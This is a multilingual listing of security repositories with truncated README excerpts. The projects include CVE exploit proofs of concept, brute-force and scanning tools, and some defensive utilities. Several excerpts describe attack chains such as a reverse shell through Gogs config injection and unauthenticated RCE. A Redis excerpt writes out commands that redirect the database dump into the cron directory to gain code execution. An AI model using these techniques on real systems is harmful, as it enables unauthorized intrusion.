cisco-SNMP-enumeration

Cisc0wn - Cisco SNMP スクリプト Cisco SNMPの列挙、ブルートフォース、コンフィグダウンロード、およびパスワードクラッキングを行うスクリプトです。 Cisco IOSスイッチおよびルーターでの動作を想定して設計・テストされています。 NCC Group Plc によりオープンソースとして公開されています - http://www.nccgroup.com/ 開発: Daniel Compton、daniel dot compton at nccgroup dot com 修正・更新: Tom Watson、tom dot watson at nccgroup...

behat-config-leaks

バッジ ライセンス MIT インストール 1. Python3 と pip をインストールします 手順はこちら（これが分からない場合は、このツールを使うべきではありません） pip でインストール pip install behat-config-leaks 確認のため以下のコマンドを実行 behat-config-leaks -h 設定 2. 脆弱性検出のための即時通知を受け取るために、Telegram API と統合しました。 Telegram 通知 behat-config-leaks --chatid Telegram を開き、@CappricioSecuritiesToolsb...

ShadowSteal

ShadowSteal | CVE-2021-36934 CVE-2021-36934（SeriousSAM ローカル特権昇格 LPE）を悪用するための純粋な Nim 実装。OPSEC セーフではありません... まだね ;。このエクスプロイトの発見の功績は私にはありません。 Quick Start Build with Docker Docker のおかげで、ShadowSteal を始めるのがかつてないほど簡単になりました！Nim の依存関係をインストールするのが面倒ですか？大丈夫、任せてください！Python スクリプトを実行して Docker...

CVE-2025-8110

Gogs RCE Exploit CVE-2025-8110 Proof of Concept for CVE-2025-8110 - Remote Code Execution in Gogs via symlink bypass and sshCommand injection. Description This exploit abuses a symlink bypass in Gogs API to overwrite .git/config and inject malicious sshCommand that executes a reverse shell...

CVE-2023-24055

CVE-2023-24055 CVE-2023-24055 の PoC とスキャナー ご自身の責任で使用してください！ configscanner.py Windows 上で動作する KeePass 設定ファイルのシンプルなパーサーです。 このツールはディレクトリ %APPDATA%\Roaming\KeePass\KeePass.config.xml を開き、すべてのトリガーを出力します。トリガー コマンドライン / URL の実行 アクティブなデータベースをファイル/URL と同期 アクティブなデータベースをエクスポート...

tomcat85-check

tomcat85-check 还在跑 Tomcat 8.5?这个工具告诉你到底中了哪些 2025 年的 CVE —— 因为这个问题,你在官方页面、NVD、扫描器那里都问不出完整答案。 零依赖单 jar,离线跑,不联网、不上传任何东西。 它解决什么 Tomcat 8.5 于 2024-03-31 EOL ,终版是 8.5.1002024-03-19 发布。 之后 Apache 仍在 CVE 记录里逐条声明「8.5 也中招」,而说这话的地方最少人去看 。 Apache 官方 9.x 安全页列出的CVE-2025- 共 17 条,其中 14 条逐字写着: The following...

CVE-2026-31431-mitigation-suite

AFALG 防御框架 一个针对 Linux AFALG（地址族算法，族 38）子系统的内核运行时防御框架。专为运行企业级 Linux 集群的安全运营中心（SOC）打造，在这些环境中，零信任必须 深入 内核，而非止步于网络边缘。 为什么 AFALG 对 SOC 至关重要 AFALG 通过套接字接口（socketAFALG, SOCKSEQPACKET, 0）将内核加密 API 暴露给用户空间。它最初是为没有 /dev/crypto 的嵌入式系统而添加的，此后却积累了不成比例的内核 CVE 份额，因为它将内核态加密代码暴露给了非特权调用者——这是一种典型的攻击面错配。 在典型的企业构建中：...

CVE-2025-56802

CVE-2025-56802 Reolink 桌面应用程序中的 AES-CFB 密钥生成与管理漏洞 1. 概述 名称 : Reolink 桌面应用程序 版本 : 8.18.12 厂商 : Reolink CWE : CWE-321: 使用硬编码加密密钥, CWE-522: 凭据保护不足 CVSS : 5.1 中危 向量字符串 : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L 2. 摘要 Reolink 桌面应用程序（版本 8.18.12）使用 AES-CFB 算法对配置文件和其他敏感数据进行加密。...

CVE-2026-33017-Langflow-RCE-PoC

CVE-2026-33017-Langflow-RCE-PoC Langflow 1.8.1 及更早版本中的漏洞允许远程、未认证的攻击者在主机上实现任意命令执行。 描述 POST /api/v1/buildpublictmp/flowid/flow 端点允许任何人无需认证即可构建公共流程。 通过提供可选的 data 参数，攻击者可以用自己精心构造的定义覆盖存储的流程，并在节点配置中嵌入任意 Python 代码。这些由用户控制的代码通过 exec 执行，且没有任何沙箱或验证机制，从而导致未认证的远程代码执行。 受影响版本 Langflow 1.8.1 及更早版本 功能特性 当...

CVE-2025-32463

CVE-2025-32463 漏洞利用 --- 概念验证（PoC） 免责声明： 本仓库包含一个概念验证 ，仅用于教育、防御性研究和经授权的渗透测试 。 请勿 在非您所有或未经您明确书面许可的系统上使用此代码。未经授权的使用是非法的 ，可能导致刑事或民事处罚。作者对任何滥用此材料的行为不承担任何责任。 描述 此 PoC 演示了一个本地权限提升问题，编号为 CVE-2025-32463 。该漏洞可能允许本地非特权用户通过在类似 chroot 的环境中影响 sudo 对配置或库的解析来获取 root 权限。本仓库中包含的代码仅用于在受控实验室环境中进行验证和加固系统。 受影响版本 已知 sud...

tapo-c260-rce

Tapo C260 RCE 漏洞链（CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653） 针对 TP-Link Tapo C260 网络摄像头的概念验证漏洞利用链，通过串联由 Eugene Lim Spaceraccoon 发现的三个漏洞，实现从未认证到 root 权限的远程代码执行（RCE） 。 致谢 所有漏洞研究与发现均由Eugene Lim @spaceraccoon 完成。 本仓库是基于其公开文章实现的 PoC。如果你觉得有用，请购买他的著作： From Day Zero to Zero Day: A Hands-On Guide to...

cve-2026-20127

CVE-2026-20127 扫描器 概述 该项目是一个基于 Windows 的网络扫描工具，使用 C++ 编写，旨在识别潜在的 Cisco SD-WAN / vManage 类服务，并针对标记为 CVE-2026-20127 的引用问题执行漏洞检查。 功能 IP 范围扫描（起始 IP → 结束 IP） 针对 Cisco SD-WAN / vManage 特征的服务指纹识别 HTTP 响应头与响应体分析 向疑似管理端点发送测试请求 根据响应内容与状态码检测潜在暴露风险 简单的交互式 CLI 界面 对敏感端点执行二次请求： /dataservice/client/admin/setting...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye 认证后的远程代码执行 通过未净化的 motion 配置参数在 motionEye = 0.43.1b4 中实现认证后的远程代码执行 作者：d3vn0mi 漏洞概述 字段| 详情 ---|--- CVE ID| CVE-2025-60787 CVSS 评分| 7.2（高） 类型| 操作系统命令注入（CWE-78） 受影响版本| motionEye = 0.43.1b4 修复版本| 0.43.1b5 motionEye 接受配置字段（如 imagefilename）中的任意字符串，并将其直接写入 Motion...

ai-ide-config-guard

valtik-ai-ide-config-guard Scan a repository for AI-IDE configuration files that can trigger RCE, credential theft, or persistent compromise of developer machines when the repo is opened in Claude Code, Cursor, Windsurf, Continue, or any VS Code fork. Built in response to the April 2026 AI-IDE...

PP_CVE-2024-38998

PPCVE-2024-38998 在 JavaScript 模块 requirejs 的 2.3.6 版本中发现了一个漏洞（CVE-2024-38998）。该漏洞利用 config 函数中的原型污染（prototype pollution），允许攻击者通过恶意输入修改 Object.prototype。这可能导致拒绝服务（DoS）、远程代码执行（RCE）或跨站脚本（XSS）。严重程度为严重（CVSS 9.8）。原型污染...

CVE-2026-25769---CVE-2026-25770

CVE-2026-25769 / CVE-2026-25770 – Wazuh 集群漏洞 警告：本仓库包含与安全漏洞相关的信息和代码。请仅用于教育目的或在授权环境中使用。 描述 在 Wazuh 集群配置（版本 ≥ 4.0.0）中发现了两个严重漏洞。这些缺陷影响使用多节点进行水平扩展、负载均衡和高可用性的部署。该配置允许管理多个代理而不会影响 Wazuh 服务器。 CVE-2026-25769 允许通过 DAPi 请求在主节点（master）和工作节点（worker）之间进行通信。工作节点使用 LocalClient 模块发送对象；主节点接受该消息并使用易受攻击的函数...

CVE-2026-34070

我在 LangChain 中发现了一个路径遍历漏洞，可能泄露你的云凭证 AI 最流行框架之一中被遗忘的遗留 API，如何悄然让数百万应用暴露于任意文件读取风险之下。 当你写的概念验证代码第一次运行就成功时，会有一种特别的感觉。不完全是兴奋——更像是一种缓慢而不安的醒悟：刚刚真的发生了什么。当我用测试配置运行 loadpromptfromconfig，看着一个本不该被读取的文件内容直接打印到终端时，就是这种感觉。 这就是 CVE-2026-34070 的故事：一个存在于 langchain-core 中的路径遍历漏洞，现已在 1.2.22 版本中修复。 为什么是 LangChain？...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution 该仓库包含由Dodge Industrial团队在Dodge OPTIFY平台上发现的CVE-2023-31446的描述。 CVE ID：CVE-2023-31446 厂商：Cassia Networks 产品：Cassia Gateway固件 版本： http:///bypass/config?type=sqs&keyId=&key=&queueUrl= 根据调查，SQS功能会在设备启动时启动该服务。 服务会加载配置文件，而上述端点会覆盖其中的设置。 服务在加载指定URL后，会从root...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 - 認証バイパス - 管理者ユーザーとLDAP設定を抽出します - このPoCは読み取り専用の操作のみを行います。 エクスプロイトを実行 USE: python3 exploit.py https://target.com Ex: python3 exploit.py https://target.com nucleiテンプレートを実行 echo https://target.com | nuclei -t CVE-2022-40684.yaml...

redis-exploitation

redis-exploitation CONFIG SET（教育目的のみ） ビルド $ docker build -t victim . 実行 $ docker run -d --name victim victim 攻撃 $ docker exec -it victim bash root@34ea33cb2eb2 / ls /var/spool/cron/ root@34ea33cb2eb2 / redis-cli 127.0.0.1:6379 config set dir /var/spool/cron/ OK 127.0.0.1:6379 config set dbfilenam...